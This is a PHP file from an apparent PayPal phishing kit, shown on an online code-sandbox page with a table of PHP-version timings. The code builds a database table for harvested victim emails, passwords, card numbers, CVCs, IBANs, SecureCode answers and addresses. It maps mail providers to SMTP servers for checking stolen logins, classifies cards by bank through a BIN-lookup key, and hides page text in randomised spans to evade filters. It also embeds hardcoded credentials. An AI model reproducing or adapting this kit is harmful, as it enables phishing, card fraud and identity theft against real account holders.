@ 2017-08-19T01:32:04Z <?php
session_start();
// Configuration
$config = [
'url' => 'http://' . $_SERVER['HTTP_HOST'] . '',
'mysql' => [
'hostname' => 'localhost',
'username' => 'root',
'password' => 'okmijnAwD1337',
'database' => 'paypal'
],
'bincodes' => [
'enabled' => true,
'api_key' => '2d974e94811161f1dda14bbf63aa9790'
],
// Alle SMTPs welche nicht folgenden Format haben: smtp.example.com:25
'smtps' => [
'web.de' => [
'host' => 'smtp.web.de',
'port' => 587
],
'aol.com' => [
'host' => 'smtp.de.aol.com',
'port' => 587
],
'aol.de' => [
'host' => 'smtp.aim.com',
'port' => 587
],
'aim.com' => [
'host' => 'smtp.aim.com',
'port' => 587
],
'arcor.de' => [
'host' => 'mail.arcor.de',
'port' => 25
],
'bluewin.ch' => [
'host' => 'smtpauths.bluewin.ch',
'port' => 25
],
'gmail.com' => [
'host' => 'smtp.gmail.com',
'port' => 587
],
'gmail.de' => [
'host' => 'smtp.gmail.com',
'port' => 587
],
'googlemail.com' => [
'host' => 'smtp.gmail.com',
'port' => 587
],
'gmx.de' => [
'host' => 'mail.gmx.net',
'port' => 587
],
'gmx.net' => [
'host' => 'mail.gmx.net',
'port' => 587
],
'outlook.de' => [
'host' => 'smtp-mail.outlook.com',
'port' => 587
],
'live.de' => [
'host' => 'smtp-mail.outlook.com',
'port' => 587
],
'hotmail.de' => [
'host' => 'smtp-mail.outlook.com',
'port' => 587
],
'live.com' => [
'host' => 'smtp-mail.outlook.com',
'port' => 587
],
'outlook.com' => [
'host' => 'smtp-mail.outlook.com',
'port' => 587
],
'yahoo.de' => [
'host' => 'smtp.mail.yahoo.com',
'port' => 25
],
'yahoo.com' => [
'host' => 'smtp.mail.yahoo.com',
'port' => 25
],
't-online.de' => [
'host' => 'securesmtp.t-online.de',
'port' => 25
],
'unitybox.de' => [
'host' => 'submit.unitybox.de',
'port' => 587
],
'kabelbw.de' => [
'host' => 'submit.kabelbw.de',
'port' => 587
],
'one.com' => [
'host' => 'send.one.com',
'port' => 587
],
'freenet.de' => [
'host' => 'mx.freenet.de',
'port' => 587
]
],
// Bins bei dem die SecureCode Abfrage übersprungen werden
'skipBins' => [
/*
'457096',
'548622',
'548621'
*/
],
// Banken (Alles groß schreiben, da es bei Debian sonst nicht erkannt wird)
'banks' => [
'santander' => [
'SANTANDER CONSUMER BANK AG',
'SANTANDER DIREKT BANK AG',
'SANTANDER'
],
'vw' => [
'VOLKSWAGEN BANK GMBH',
'VOLKSWAGEN'
],
'advanzia' => [
'ADVANZIA BANK, S.A.',
'ADVANZIA'
],
'barclay' => [
'BARCLAYS BANK PLC',
'BARCLAYCARD GERMANY',
'BARCLAY'
],
'airp' => [
'LUFTHANSA AIRPLUS SERVICEKARTEN GMBH'
],
'dkb' => [
'DEUTSCHE KREDITBANK AG (DKB), LUFTHANSA, MILES AND MORE',
'DEUTSCHE KREDITBANK'
],
'lbb' => [
'LANDESBANK BERLIN AG'
],
'dzb' => [
'DZ BANK AG',
'DZ BANK AG DEUTSCHE ZENTRAL- GENOSSENSCHAFTSBANK'
],
'wgz' => [
'WGZ BANK AG WESTDEUTSCHE GENOSSENSCHAFTS-ZENTRALBANK',
'WGZ'
],
'volksbank' => [
'VOLKSBANK'
],
'spardabank' => [
'SPARDABANK',
'SPARDA'
],
'postbank' => [
'DEUTSCHE POSTBANK AG',
'POSTBANK BERLIN',
'POSTBANK'
],
'sparkasse' => [
'DEUTSCHER SPARKASSEN - UND GIROVERBAND',
'SPARKASSE',
'SPARKASSEN',
'SPARKASSE SCHAUMBURG',
'SPARKASSE MAINZ',
'STADTSPARKASSE'
],
'random' => [
'TARGOBANK AG AND CO. KGAA',
'CITIBANK AG',
'ING-DIBA AG',
'COMMERZBANK AG',
'MERCEDES-BENZ BANK AG',
'LANDESBANK BADEN-WUERTTEMBERG',
'COMDIRECT BANK AG',
'DEUTSCHE BANK AG',
'DEUTSCHE BANK PRIVAT-UND GESCHAEFTSKUNDEN AG',
'BAYERISCHE LANDESBANK GIROZENTRALE',
'BAYERISCHE LANDESBANK',
'SUEDDEUTSCHE BANK GMBH'
]
]
];
include('geoblocking.php');
if(!defined('CONTINUE_PDO')) {
// MySQL Connection
$pdo = new PDO(
'mysql:host=' . $config['mysql']['hostname'] . ';',
$config['mysql']['username'],
$config['mysql']['password']
);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->query('CREATE DATABASE IF NOT EXISTS ' . $config['mysql']['database']);
$pdo->query('use ' . $config['mysql']['database']);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8' COLLATE 'utf8_general_ci'");
$pdo->exec('SET NAMES \'utf8\'');
mb_internal_encoding('UTF-8');
$pdo->exec('
CREATE TABLE IF NOT EXISTS `admins` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`password` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
INSERT IGNORE INTO `admins` VALUES (\'1\', \'Admin\', \'123456\');
CREATE TABLE IF NOT EXISTS `logs` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(255) DEFAULT NULL,
`user_agent` text,
`email` varchar(255) DEFAULT NULL,
`password` varchar(255) DEFAULT NULL,
`method` enum(\'creditcard\',\'bank\',\'none\') DEFAULT \'none\',
`firstname` varchar(255) DEFAULT NULL,
`surname` varchar(255) DEFAULT NULL,
`dob_day` int(11) DEFAULT \'0\',
`dob_month` int(11) DEFAULT \'0\',
`dob_year` int(11) DEFAULT \'0\',
`cc_number` varchar(255) DEFAULT NULL,
`cc_expire_month` int(2) DEFAULT NULL,
`cc_expire_year` int(4) DEFAULT NULL,
`cc_cvc` int(4) DEFAULT NULL,
`cc_bank` varchar(255) DEFAULT NULL,
`cc_type` varchar(255) DEFAULT NULL,
`cc_level` varchar(255) DEFAULT NULL,
`cc_country` varchar(255) DEFAULT NULL,
`cc_countrycode` varchar(255) DEFAULT NULL,
`cc_card` varchar(255) DEFAULT NULL,
`cc_limit` int(11) DEFAULT \'0\',
`bank_iban` varchar(255) DEFAULT NULL,
`bank_bic` varchar(255) DEFAULT NULL,
`bank_name` varchar(255) DEFAULT NULL,
`sc_1` varchar(255) DEFAULT NULL,
`sc_2` varchar(255) DEFAULT NULL,
`street` varchar(255) DEFAULT NULL,
`city` varchar(255) DEFAULT NULL,
`plz` int(5) DEFAULT NULL,
`timestamp` varchar(255) DEFAULT \'123456789\',
`mobilenr` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;
');
}
// Classes
class RandomHash {
public static function init() {
if(!isset($_SESSION['randomLetter'])) {
$_SESSION['randomLetter'] = substr(str_shuffle(str_repeat($chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil(1 / strlen($chars)) )), 1, 1);
}
}
public static function generate($string = '') {
return $_SESSION['randomLetter'] . sha1($string . sha1(session_id()));
}
public static function generateUselessKey() {
return md5($_SESSION['randomLetter']);
}
public static function stringSplitUnicode($string, $l = 0) {
if ($l > 0) {
$result = [];
$length = mb_strlen($string, 'UTF-8');
for ($i = 0; $i < $length; $i += $l) {
$result[] = mb_substr($string, $i, $l, 'UTF-8');
}
return $result;
}
return preg_split("//u", $string, -1, PREG_SPLIT_NO_EMPTY);
}
public static function generateUseless($string = '') {
$result = '';
foreach(self::stringSplitUnicode($string) as $letter) {
$result .= '<span class="' . self::generate('rnd-span') . ' ' . self::generate(self::generateUselessKey()) . '">' . $letter . '</span>';
}
return $result;
}
}
RandomHash::init();
// Functions
function generateToken() {
if(version_compare(phpversion(), '7', '>=')) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
} else if(function_exists('mcrypt_create_iv')) {
$_SESSION['csrf_token'] = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM));
} else {
$_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
return $_SESSION['csrf_token'];
}
function getToken() {
if(!isset($_SESSION['csrf_token']) || empty($_SESSION['csrf_token'])) {
generateToken();
}
return $_SESSION['csrf_token'];
}
function getOB($bankName) {
global $config;
$bankName = strtoupper($bankName);
foreach($config['banks'] as $obKey => $obNames) {
foreach($obNames as $obName) {
if(strtoupper($obName) == $bankName || strpos(strtoupper($obName), $bankName) !== false || (count(explode(' ', $bankName)) > 0 && strpos(strtoupper($obName), explode(' ', $bankName)[0]) !== false)) {
return strtolower($obKey);
}
}
}
return null;
}
function isLoggedIn() {
global $pdo;
if(isset($_SESSION['acp_username'], $_SESSION['acp_password'])) {
$stmt = $pdo->prepare('SELECT NULL FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
$stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
return $stmt->rowCount() > 0;
}
return false;
}
function getLogsCount() {
global $pdo;
$qry = $pdo->query('SELECT NULL FROM `logs`');
return $qry->rowCount();
}
function getUserInfo($row, $filter = true) {
global $pdo;
if(isLoggedIn()) {
$stmt = $pdo->prepare('SELECT `' . $row . '` FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
$stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
if($stmt->rowCount() > 0) {
$obj = $stmt->fetch(PDO::FETCH_OBJ);
return $filter ? htmlspecialchars($obj->{$row}) : $obj->{$row};
}
}
return '';
}
function getIp() {
$ip = $_SERVER['REMOTE_ADDR'];
if(!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
}
return $ip;
}
?>
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Version System time (s) User time (s) Memory (MiB) 8.2.9 0.005 0.007 19.16 8.2.5 0.012 0.006 19.52 8.2.4 0.013 0.005 18.13 8.2.3 0.009 0.006 18.62 8.2.2 0.011 0.004 18.76 8.2.1 0.011 0.005 18.57 8.2.0 0.009 0.008 18.56 8.1.18 0.009 0.009 19.52 8.1.17 0.014 0.004 18.04 8.1.16 0.009 0.006 18.60 8.1.15 0.012 0.005 18.33 8.1.14 0.012 0.004 18.34 8.1.13 0.012 0.004 18.58 8.1.12 0.011 0.005 18.42 8.1.11 0.011 0.005 18.38 8.1.10 0.011 0.006 18.49 8.1.9 0.010 0.006 18.35 8.1.8 0.011 0.005 18.32 8.1.7 0.011 0.006 18.32 8.1.6 0.012 0.006 18.44 8.1.5 0.012 0.005 18.37 8.1.4 0.011 0.005 18.38 8.1.3 0.012 0.005 18.42 8.1.2 0.012 0.005 18.42 8.1.1 0.012 0.005 18.30 8.1.0 0.012 0.006 18.27 8.0.28 0.010 0.005 17.91 8.0.27 0.011 0.005 18.00 8.0.26 0.011 0.005 18.12 8.0.25 0.010 0.005 18.06 8.0.24 0.012 0.004 18.14 8.0.23 0.010 0.005 18.10 8.0.22 0.010 0.005 17.93 8.0.21 0.011 0.004 18.03 8.0.20 0.010 0.005 18.01 8.0.19 0.011 0.005 18.03 8.0.18 0.009 0.005 17.83 8.0.17 0.010 0.004 17.99 8.0.16 0.009 0.005 17.86 8.0.15 0.011 0.004 17.84 8.0.14 0.010 0.004 17.78 8.0.13 0.011 0.003 17.79 8.0.12 0.011 0.005 17.84 8.0.11 0.009 0.005 17.75 8.0.10 0.011 0.003 17.82 8.0.9 0.010 0.005 17.79 8.0.8 0.011 0.005 17.83 8.0.7 0.010 0.005 17.77 8.0.6 0.012 0.004 17.80 8.0.5 0.011 0.005 17.80 8.0.3 0.009 0.006 17.77 8.0.2 0.011 0.005 17.81 8.0.1 0.010 0.005 17.95 8.0.0 0.009 0.005 17.89 7.4.33 0.009 0.003 16.97 7.4.32 0.012 0.005 17.56 7.4.30 0.013 0.004 17.49 7.4.29 0.011 0.005 17.47 7.4.28 0.013 0.004 17.45 7.4.27 0.012 0.004 17.47 7.4.26 0.012 0.005 17.38 7.4.25 0.013 0.004 17.40 7.4.24 0.012 0.004 17.38 7.4.23 0.011 0.005 17.38 7.4.22 0.011 0.005 17.39 7.4.21 0.010 0.005 17.38 7.4.20 0.008 0.007 17.34 7.4.19 0.012 0.004 17.43 7.4.18 0.010 0.004 17.51 7.4.16 0.010 0.005 17.40 7.4.15 0.010 0.004 17.46 7.4.14 0.011 0.003 17.39 7.4.13 0.010 0.005 17.44 7.4.12 0.010 0.004 17.37 7.4.11 0.009 0.006 17.32 7.4.10 0.010 0.005 17.52 7.4.9 0.010 0.004 17.46 7.4.8 0.009 0.006 17.34 7.4.7 0.010 0.004 17.36 7.4.6 0.009 0.005 17.39 7.4.5 0.009 0.005 17.27 7.4.4 0.010 0.005 17.25 7.4.3 0.010 0.004 17.30 7.4.2 0.009 0.005 17.31 7.4.1 0.011 0.003 17.38 7.4.0 0.008 0.005 17.33 7.3.33 0.011 0.005 17.21 7.3.32 0.013 0.003 17.29 7.3.31 0.012 0.004 17.27 7.3.30 0.012 0.005 17.28 7.3.29 0.010 0.005 17.28 7.3.28 0.011 0.005 17.25 7.3.27 0.011 0.005 17.27 7.3.26 0.010 0.005 17.26 7.3.25 0.011 0.005 17.27 7.3.24 0.010 0.006 17.28 7.3.23 0.013 0.004 17.28 7.3.22 0.013 0.005 17.22 7.3.21 0.012 0.004 17.23 7.3.20 0.011 0.005 17.20 7.3.19 0.011 0.005 17.23 7.3.18 0.011 0.006 17.22 7.3.17 0.011 0.006 17.22 7.3.16 0.011 0.005 17.21 7.3.15 0.012 0.004 17.24 7.3.14 0.012 0.004 17.23 7.3.13 0.012 0.004 17.25 7.3.12 0.012 0.003 17.24 7.3.11 0.012 0.004 17.16 7.3.10 0.011 0.005 17.27 7.3.9 0.012 0.005 17.40 7.3.8 0.012 0.004 17.21 7.3.7 0.009 0.006 17.20 7.3.6 0.010 0.005 17.26 7.3.5 0.010 0.005 17.28 7.3.4 0.012 0.004 17.29 7.3.3 0.009 0.006 17.28 7.3.2 0.013 0.004 18.12 7.3.1 0.013 0.004 18.00 7.3.0 0.011 0.006 17.98 7.2.34 0.010 0.005 17.33 7.2.33 0.011 0.005 17.42 7.2.32 0.011 0.004 17.38 7.2.31 0.010 0.005 17.35 7.2.30 0.011 0.005 17.32 7.2.29 0.010 0.006 17.33 7.2.28 0.012 0.004 17.35 7.2.27 0.011 0.005 17.43 7.2.26 0.010 0.005 17.32 7.2.25 0.012 0.005 17.34 7.2.24 0.012 0.005 17.36 7.2.23 0.011 0.004 17.35 7.2.22 0.011 0.005 17.36 7.2.21 0.011 0.004 17.38 7.2.20 0.011 0.005 17.41 7.2.19 0.012 0.005 17.40 7.2.18 0.012 0.006 17.41 7.2.17 0.011 0.004 17.41 7.2.16 0.010 0.006 17.45 7.2.15 0.014 0.005 18.29 7.2.14 0.011 0.005 18.30 7.2.13 0.012 0.004 18.24 7.2.12 0.012 0.004 18.19 7.2.11 0.012 0.005 18.20 7.2.10 0.011 0.005 18.21 7.2.9 0.012 0.005 18.20 7.2.8 0.013 0.004 18.22 7.2.7 0.011 0.006 18.22 7.2.6 0.012 0.004 18.22 7.2.5 0.011 0.005 18.22 7.2.4 0.012 0.005 18.23 7.2.3 0.011 0.006 18.22 7.2.2 0.011 0.006 18.25 7.2.1 0.013 0.005 18.25 7.2.0 0.011 0.005 18.23 7.1.33 0.011 0.004 17.47 7.1.32 0.013 0.004 17.42 7.1.31 0.013 0.004 17.42 7.1.30 0.013 0.004 17.46 7.1.29 0.013 0.005 17.46 7.1.28 0.011 0.004 17.43 7.1.27 0.013 0.004 17.45 7.1.26 0.011 0.004 17.45 7.1.25 0.011 0.005 17.26 7.1.24 0.011 0.005 17.42 7.1.23 0.011 0.005 17.45 7.1.22 0.011 0.005 17.44 7.1.21 0.012 0.004 17.44 7.1.20 0.012 0.003 17.47 7.1.19 0.015 0.004 17.44 7.1.18 0.011 0.005 17.39 7.1.17 0.012 0.004 17.42 7.1.16 0.011 0.005 17.39 7.1.15 0.012 0.004 17.40 7.1.14 0.011 0.005 17.42 7.1.13 0.011 0.005 17.42 7.1.12 0.012 0.004 17.40 7.1.11 0.013 0.004 17.40 7.1.10 0.012 0.004 17.48 7.1.9 0.011 0.005 17.49 7.1.8 0.017 0.004 17.47 7.1.7 0.018 0.004 17.37 7.1.6 0.018 0.005 18.21 7.1.5 0.018 0.005 18.23 7.1.4 0.016 0.005 18.24 7.1.3 0.024 0.004 18.22 7.1.2 0.016 0.006 18.21 7.1.1 0.017 0.005 17.35 7.1.0 0.015 0.005 17.37 7.0.33 0.011 0.004 17.30 7.0.32 0.012 0.004 17.35 7.0.31 0.011 0.005 17.31 7.0.30 0.012 0.004 17.29 7.0.29 0.012 0.005 17.32 7.0.28 0.012 0.004 17.31 7.0.27 0.010 0.005 17.31 7.0.26 0.011 0.005 17.33 7.0.25 0.011 0.004 17.42 7.0.24 0.010 0.005 17.38 7.0.23 0.014 0.003 17.40 7.0.22 0.011 0.004 17.36 7.0.21 0.011 0.004 17.33 7.0.20 0.015 0.005 17.26 7.0.19 0.017 0.005 17.27 7.0.18 0.016 0.004 17.22 7.0.17 0.016 0.005 17.31 7.0.16 0.017 0.004 17.21 7.0.15 0.018 0.005 17.22 7.0.14 0.016 0.004 17.21 7.0.13 0.017 0.004 17.22 7.0.12 0.019 0.005 17.26 7.0.11 0.017 0.005 17.20 7.0.10 0.017 0.004 17.20 7.0.9 0.019 0.005 17.09 7.0.8 0.018 0.003 17.13 7.0.7 0.017 0.004 17.15 7.0.6 0.017 0.004 17.14 7.0.5 0.016 0.004 17.14 7.0.4 0.016 0.006 17.20 7.0.3 0.015 0.006 17.21 7.0.2 0.018 0.004 17.15 7.0.1 0.017 0.006 17.22 7.0.0 0.015 0.006 17.16 5.6.40 0.011 0.005 16.97 5.6.39 0.011 0.004 17.00 5.6.38 0.009 0.005 16.98 5.6.37 0.011 0.004 16.98 5.6.36 0.009 0.005 17.01 5.6.35 0.009 0.005 16.97 5.6.34 0.010 0.005 16.95 5.6.33 0.009 0.006 16.96 5.6.32 0.008 0.007 16.96 5.6.31 0.010 0.005 16.94 5.6.30 0.011 0.003 16.86 5.6.29 0.010 0.005 16.97 5.6.28 0.010 0.005 16.98 5.6.27 0.010 0.004 16.95 5.6.26 0.011 0.004 16.98 5.6.25 0.010 0.004 16.96 5.6.24 0.010 0.005 17.03 5.6.23 0.011 0.004 17.09 5.6.22 0.010 0.004 17.03 5.6.21 0.010 0.004 16.98 5.6.20 0.010 0.005 17.08 5.6.19 0.011 0.005 17.05 5.6.18 0.009 0.006 17.06 5.6.17 0.009 0.005 17.04 5.6.16 0.010 0.004 17.03 5.6.15 0.009 0.005 17.03 5.6.14 0.010 0.004 16.97 5.6.13 0.009 0.005 16.98 5.6.12 0.009 0.005 16.95 5.6.11 0.010 0.004 16.90 5.6.10 0.010 0.004 16.92 5.6.9 0.011 0.004 16.92 5.6.8 0.009 0.004 16.92 5.6.7 0.010 0.004 17.00 5.6.6 0.009 0.004 17.04 5.6.5 0.010 0.004 16.91 5.6.4 0.008 0.005 17.03 5.6.3 0.009 0.005 17.00 5.6.2 0.009 0.005 16.95 5.6.1 0.010 0.004 16.94 5.6.0 0.010 0.004 16.94
preferences:dark mode live preview
51.58 ms | 401 KiB | 5 Q